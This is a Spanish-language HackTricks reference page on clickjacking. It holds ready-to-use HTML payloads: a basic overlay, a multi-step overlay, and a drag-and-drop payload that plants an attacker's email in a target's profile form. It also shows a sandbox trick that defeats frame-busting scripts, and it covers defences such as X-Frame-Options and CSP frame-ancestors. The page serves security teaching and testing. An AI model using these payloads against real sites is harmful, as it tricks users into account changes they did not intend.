mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 14:40:37 +00:00
225 lines
12 KiB
Markdown
225 lines
12 KiB
Markdown
# Clickjacking
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Otras formas de apoyar a HackTricks:
|
|
|
|
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
|
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
|
|
|
</details>
|
|
|
|
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
\
|
|
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas** del mundo.\
|
|
Obtén acceso hoy:
|
|
|
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
|
|
|
## ¿Qué es el Clickjacking?
|
|
|
|
En un ataque de clickjacking, un **usuario** es **engañado** para **hacer clic** en un **elemento** en una página web que está **invisible** o disfrazado como un elemento diferente. Esta manipulación puede llevar a consecuencias no deseadas para el usuario, como la descarga de malware, redirección a páginas web maliciosas, suministro de credenciales o información sensible, transferencias de dinero o la compra en línea de productos.
|
|
|
|
### Truco de prellenado de formularios
|
|
|
|
A veces es posible **rellenar el valor de campos de un formulario utilizando parámetros GET al cargar una página**. Un atacante puede abusar de este comportamiento para rellenar un formulario con datos arbitrarios y enviar la carga de clickjacking para que el usuario presione el botón de enviar.
|
|
|
|
### Rellenar formulario con Arrastrar y Soltar
|
|
|
|
Si necesitas que el usuario **llene un formulario** pero no quieres pedirle directamente que escriba información específica (como el correo electrónico o una contraseña específica que conoces), simplemente puedes pedirle que **Arrastre y Suelte** algo que escribirá tus datos controlados como en [**este ejemplo**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
|
|
|
|
### Carga Básica de Payload
|
|
```markup
|
|
<style>
|
|
iframe {
|
|
position:relative;
|
|
width: 500px;
|
|
height: 700px;
|
|
opacity: 0.1;
|
|
z-index: 2;
|
|
}
|
|
div {
|
|
position:absolute;
|
|
top:470px;
|
|
left:60px;
|
|
z-index: 1;
|
|
}
|
|
</style>
|
|
<div>Click me</div>
|
|
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
|
|
```
|
|
### Carga útil de múltiples pasos
|
|
```markup
|
|
<style>
|
|
iframe {
|
|
position:relative;
|
|
width: 500px;
|
|
height: 500px;
|
|
opacity: 0.1;
|
|
z-index: 2;
|
|
}
|
|
.firstClick, .secondClick {
|
|
position:absolute;
|
|
top:330px;
|
|
left:60px;
|
|
z-index: 1;
|
|
}
|
|
.secondClick {
|
|
left:210px;
|
|
}
|
|
</style>
|
|
<div class="firstClick">Click me first</div>
|
|
<div class="secondClick">Click me next</div>
|
|
<iframe src="https://vulnerable.net/account"></iframe>
|
|
```
|
|
### Carga útil de Arrastrar y Soltar + Click
|
|
```markup
|
|
<html>
|
|
<head>
|
|
<style>
|
|
#payload{
|
|
position: absolute;
|
|
top: 20px;
|
|
}
|
|
iframe{
|
|
width: 1000px;
|
|
height: 675px;
|
|
border: none;
|
|
}
|
|
.xss{
|
|
position: fixed;
|
|
background: #F00;
|
|
}
|
|
</style>
|
|
</head>
|
|
<body>
|
|
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
|
|
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
|
|
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
|
|
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
|
|
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
|
|
</body>
|
|
</html>
|
|
```
|
|
### XSS + Clickjacking
|
|
|
|
Si has identificado un ataque de **XSS que requiere que un usuario haga clic** en algún elemento para **activar** el XSS y la página es **vulnerable al clickjacking**, podrías abusar de ello para engañar al usuario y hacer que haga clic en el botón/enlace.
|
|
Ejemplo:
|
|
_Encontraste un **auto XSS** en algunos detalles privados de la cuenta (detalles que **solo tú puedes configurar y leer**). La página con el **formulario** para establecer estos detalles es **vulnerable** al **clickjacking** y puedes **prellenar** el **formulario** con los parámetros GET._
|
|
__Un atacante podría preparar un ataque de **clickjacking** a esa página **prellenando** el **formulario** con el **payload XSS** y **engañando** al **usuario** para que **envíe** el formulario. Entonces, **cuando se envíe el formulario** y los valores se modifiquen, el **usuario ejecutará el XSS**.
|
|
|
|
## Estrategias para Mitigar el Clickjacking
|
|
|
|
### Defensas del Lado del Cliente
|
|
|
|
Los scripts ejecutados en el lado del cliente pueden realizar acciones para prevenir el Clickjacking:
|
|
|
|
* Asegurarse de que la ventana de la aplicación sea la ventana principal o superior.
|
|
* Hacer que todos los marcos sean visibles.
|
|
* Prevenir clics en marcos invisibles.
|
|
* Detectar y alertar a los usuarios sobre posibles intentos de Clickjacking.
|
|
|
|
Sin embargo, estos scripts de rompimiento de marcos pueden ser eludidos:
|
|
|
|
* **Configuraciones de Seguridad de los Navegadores:** Algunos navegadores pueden bloquear estos scripts según sus configuraciones de seguridad o falta de soporte de JavaScript.
|
|
* **Atributo `sandbox` del iframe de HTML5:** Un atacante puede neutralizar los scripts de rompimiento de marcos configurando el atributo `sandbox` con los valores `allow-forms` o `allow-scripts` sin `allow-top-navigation`. Esto evita que el iframe verifique si es la ventana superior, por ejemplo.
|
|
```html
|
|
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
|
|
```
|
|
### Defensas del Lado del Servidor
|
|
|
|
#### X-Frame-Options
|
|
|
|
El encabezado de respuesta HTTP **`X-Frame-Options`** informa a los navegadores sobre la legitimidad de renderizar una página en un `<frame>` o `<iframe>`, ayudando a prevenir el Clickjacking:
|
|
|
|
- `X-Frame-Options: deny` - Ningún dominio puede enmarcar el contenido.
|
|
- `X-Frame-Options: sameorigin` - Solo el sitio actual puede enmarcar el contenido.
|
|
- `X-Frame-Options: allow-from https://trusted.com` - Solo el 'uri' especificado puede enmarcar la página.
|
|
- Nota las limitaciones: si el navegador no admite esta directiva, es posible que no funcione. Algunos navegadores prefieren la directiva de ancestros de marco CSP.
|
|
|
|
#### Directiva de ancestros de marco de la Política de Seguridad de Contenido (CSP)
|
|
|
|
La **directiva `frame-ancestors` en CSP** es el método recomendado para la protección contra Clickjacking:
|
|
|
|
- `frame-ancestors 'none'` - Similar a `X-Frame-Options: deny`.
|
|
- `frame-ancestors 'self'` - Similar a `X-Frame-Options: sameorigin`.
|
|
- `frame-ancestors trusted.com` - Similar a `X-Frame-Options: allow-from`.
|
|
|
|
Por ejemplo, la siguiente CSP solo permite enmarcar desde el mismo dominio:
|
|
|
|
`Content-Security-Policy: frame-ancestors 'self';`
|
|
|
|
Se pueden encontrar más detalles y ejemplos complejos en la [documentación de CSP de ancestros de marco](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) y en la [documentación de ancestros de marco CSP de Mozilla](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors).
|
|
|
|
### Política de Seguridad de Contenido (CSP) con `child-src` y `frame-src`
|
|
|
|
**Política de Seguridad de Contenido (CSP)** es una medida de seguridad que ayuda a prevenir el Clickjacking y otros ataques de inyección de código al especificar qué fuentes debe permitir el navegador cargar contenido.
|
|
|
|
#### Directiva `frame-src`
|
|
|
|
- Define fuentes válidas para marcos.
|
|
- Más específico que la directiva `default-src`.
|
|
```
|
|
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
|
|
```
|
|
Esta política permite marcos del mismo origen (self) y https://trusted-website.com.
|
|
|
|
#### Directiva `child-src`
|
|
|
|
* Introducida en CSP nivel 2 para establecer fuentes válidas para trabajadores web y marcos.
|
|
* Actúa como un respaldo para frame-src y worker-src.
|
|
```
|
|
Content-Security-Policy: child-src 'self' https://trusted-website.com;
|
|
```
|
|
Esta política permite marcos y workers del mismo origen (self) y https://trusted-website.com.
|
|
|
|
**Notas de uso:**
|
|
|
|
* Desaprobación: child-src está siendo eliminado a favor de frame-src y worker-src.
|
|
* Comportamiento de respaldo: Si frame-src está ausente, child-src se utiliza como respaldo para marcos. Si ambos están ausentes, se utiliza default-src.
|
|
* Definición estricta de origen: Incluir solo fuentes confiables en las directivas para prevenir la explotación.
|
|
|
|
#### Scripts de JavaScript para romper marcos
|
|
|
|
Aunque no son completamente infalibles, los scripts de rompimiento de marcos basados en JavaScript pueden ser utilizados para evitar que una página web sea enmarcada. Ejemplo:
|
|
```javascript
|
|
if (top !== self) {
|
|
top.location = self.location;
|
|
}
|
|
```
|
|
#### Empleo de Tokens Anti-CSRF
|
|
|
|
* **Validación de Tokens:** Utilice tokens anti-CSRF en aplicaciones web para garantizar que las solicitudes que cambian el estado sean realizadas intencionalmente por el usuario y no a través de una página Clickjacked.
|
|
|
|
## Referencias
|
|
|
|
* [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
|
|
* [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html)
|
|
|
|
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
\
|
|
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas** del mundo.\
|
|
Accede hoy mismo:
|
|
|
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Otras formas de apoyar a HackTricks:
|
|
|
|
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
|
* Obtén el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|